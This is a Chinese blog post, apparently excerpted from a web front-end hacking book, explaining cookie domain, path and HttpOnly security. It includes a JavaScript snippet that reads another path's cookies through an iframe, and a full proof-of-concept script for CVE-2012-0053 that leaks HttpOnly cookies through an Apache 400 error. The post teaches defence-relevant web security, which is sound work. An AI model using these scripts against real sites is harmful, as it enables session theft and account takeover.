Cookie安全

标签: cookieCookieCOOKIE安全
3804人阅读 评论(0) 收藏 举报
分类:

Cookie安全

Cookie是一个神奇的机制,同域内浏览器中发出的任何一个请求都会带上Cookie,无论请求什么资源,请求时,Cookie出现在请求头的Cookie字段中。服务端响应头的Set-Cookie字段可以添加、修改和删除Cookie,大多数情况下,客户端通过JavaScript也可以添加、修改和删除Cookie。

由于这样的机制,Cookie经常被用来存储用户的会话信息,比如,用户登录认证后的Session,之后同域内发出的请求都会带上认证后的会话信息,非常方便。所以,攻击者就特别喜欢盗取Cookie,这相当于盗取了在目标网站上的用户权限。

Cookie的重要字段如下:

[name][value][domain][path][expires][httponly][secure]

其含义依次是:名称、值、所属域名、所属相对根路径、过期时间、是否有HttpOnly标志、是否有Secure标志。这些字段用好了,Cookie就是安全的,下面对关键的字段进行说明。

1.子域Cookie机制

这是domain字段的机制,设置Cookie时,如果不指定domain的值,默认就是本域。例如,a.foo.com域通过JavaScript来设置一个Cookie,语句如下:

document.cookie="test=1";

那么,domain值默认为a.foo.com。有趣的是,a.foo.com域设置Cookie时,可以指定domain为父级域,比如:

document.cookie="test=1;domain=foo.com";

此时,domain就变为foo.com,这样带来的好处就是可以在不同的子域共享Cookie,坏处也很明显,就是攻击者控制的其他子域也能读到这个Cookie。另外,这个机制不允许设置Cookie的domain为下一级子域或其他外域。

2.路径Cookie机制

这是path字段的机制,设置Cookie时,如果不指定path的值,默认就是目标页面的路径。例如,a.foo.com/admin/index.php页面通过JavaScript来设置一个Cookie,语句如下:

document.cookie="test=1";

path值就是/admin/。通过指定path字段,JavaScript有权限设置任意Cookie到任意路径下,但是只有目标路径下的页面JavaScript才能读取到该Cookie。那么有什么办法跨路径读取Cookie?比如,/evil/路径想读取/admin/路径的Cookie。很简单,通过跨iframe进行DOM操作即可,/evil/路径下页面的代码如下:

xc = function(src){

    var o = document.createElement("iframe"); // iframe进入同域的目标页面

    o.src = src;

    document.getElementsByTagName("body")[0].appendChild(o);

    o.onload = function(){ // iframe加载完成后

        d = o.contentDocument || o.contentWindow.document;
// 获取document对象

        alert(d.cookie); // 获取cookie

    };

}('http://a.foo.com/admin/index.php');

所以,通过设置path不能防止重要的Cookie被盗取。

3.HttpOnly Cookie机制

顾名思义,HttpOnly是指仅在HTTP层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie,这样能有效地防御XSS攻击获取Cookie。以PHP setcookie为例,httponly.php文件代码如下:

<?php

setcookie("test", 1, time()+3600, "", "", 0); // 设置普通Cookie

setcookie("test_http", 1, time()+3600, "", "", 0, 1);
// 第7个参数(这里的最后一个)是HttpOnly标志,0为关闭,1为开启,默认为0

?>

请求这个文件后,设置了两个Cookie,如图2-2所示。

 

图2-2  设置的Cookie值

其中,test_http是HttpOnly Cookie。有什么办法能获取到HttpOnly Cookie?如果服务端响应的页面有Cookie调试信息,很可能就会导致HttpOnly Cookie的泄漏。比如,以下信息。

(1)PHP的phpinfo()信息,如图2-3所示。

 

图2-3  phpinfo()信息

(2)Django应用的调试信息,如图2-4所示。

 

图2-4  Django调试信息

(3)CVE-2012-0053关于Apache Http Server 400错误暴露HttpOnly Cookie,描述如下:

Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回 400(Bad Request)错误,并在返回信息中将出错的请求头内容输出(包含请求头里的HttpOnly Cookie),攻击者可以利用这个缺陷获取HttpOnly Cookie。

可以通过技巧让Apache报400错误,例如,如下POC(Proof of Concept,为观点提供证据):

<script>

/* POC来自:

https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3a    d3fde02b7fb08

 

大多数浏览器限制Cookies最大为4kB,我们设置为更大,让请求头长度超过Apache的LimitRequestFieldSize,从而引发400错误。

*/

function setCookies (good) {

    var str = "";

    for (var i=0; i< 819; i++) {

        str += "x";

    }

    for (i = 0; i < 10; i++) {

        if (good) { // 清空垃圾Cookies

            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).                                toUTCString()+"; path=/;";

        }

        // 添加垃圾Cookies

        else {

            var cookie = "xss"+i+"="+str+";path=/";

        }

        document.cookie = cookie;

    }

}

 

function makeRequest() {

    setCookies(); // 添加垃圾Cookies

    function parseCookies () {

        var cookie_dict = {};

        // 仅当处于400状态时

        if (xhr.readyState === 4 && xhr.status === 400) {

            // 替换掉回车换行字符,然后匹配出<pre></pre>代码段里的内容

            var content = xhr.responseText.replace(/\r|\n/g,'').match                                  (/<pre>(.+)<\/pre>/);

            if (content.length) {

                // 替换“Cookie: ”前缀

                content = content[1].replace("Cookie: ", "");

                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);

               

                for (var i=0; i<cookies.length; i++) {

                    var s_c = cookies[i].split('=',2);

                    cookie_dict[s_c[0]] = s_c[1];

                }

            }

            setCookies(true); // 清空垃圾Cookies

            alert(JSON.stringify(cookie_dict)); // 得到HttpOnly Cookie

        }

    }

    // 针对目标页面发出xhr请求,请求会带上垃圾Cookies

    var xhr = new XMLHttpRequest();

    xhr.onreadystatechange = parseCookies;

    xhr.open("GET", "httponly.php", true);

    xhr.send(null);

}

makeRequest();

</script>

 

apache 400 httponly cookie poc

请求这个POC时,发出的请求头信息如图2-5所示。

 

图2-5  POC发出的请求头信息

此时,httponly.php(其代码在前面已给出)会出现400错误,导致HttpOnly Cookie泄漏,如图2-6所示。

 

图2-6  Apache 400错误报出的HttpOnly Cookie

上面的几个例子中,服务端响应泄漏了HttpOnly Cookie应该算是一种漏洞,需谨慎对待,否则XSS会轻易获取到同域内的HttpOnly Cookie。

 

本文节选自《web前端黑客技术揭秘》

钟晨鸣,徐少培编著

电子工业出版社出版

0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:3740312次
    • 积分:54883
    • 等级:
    • 排名:第57名
    • 原创:1454篇
    • 转载:83篇
    • 译文:1篇
    • 评论:3739条
    博客专栏
    最新评论